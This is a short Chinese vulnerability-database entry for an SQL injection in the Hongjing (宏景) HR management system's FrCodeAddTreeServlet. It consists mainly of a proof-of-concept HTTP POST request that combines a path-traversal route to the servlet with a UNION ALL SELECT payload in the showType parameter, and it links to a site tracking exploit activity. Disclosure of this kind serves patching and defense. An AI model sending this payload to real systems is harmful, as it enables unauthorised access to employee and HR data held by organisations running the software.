宏景人力资源管理系统 FrCodeAddTreeServlet SQL注入漏洞

2024-03-28 宏景人力资源管理系统 PoC Public

Description

宏景人力资源管理系统 FrCodeAddTreeServlet 存在SQL注入漏洞

PoC

POST /templates/attestation/../../servlet/FrCodeAddTreeServlet HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded

params=&issuperuser=&parentid=&privType=&manageprive=&action=&target=&showType=1'+UNION+ALL+SELECT+123,NULL,NULL,NULL,NULL,NULL--+

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

Source: https://stack.chaitin.com/vuldb/detail/a0dca9bf-2c2c-4b87-ab47-a354891d5e90

Related Vulnerabilities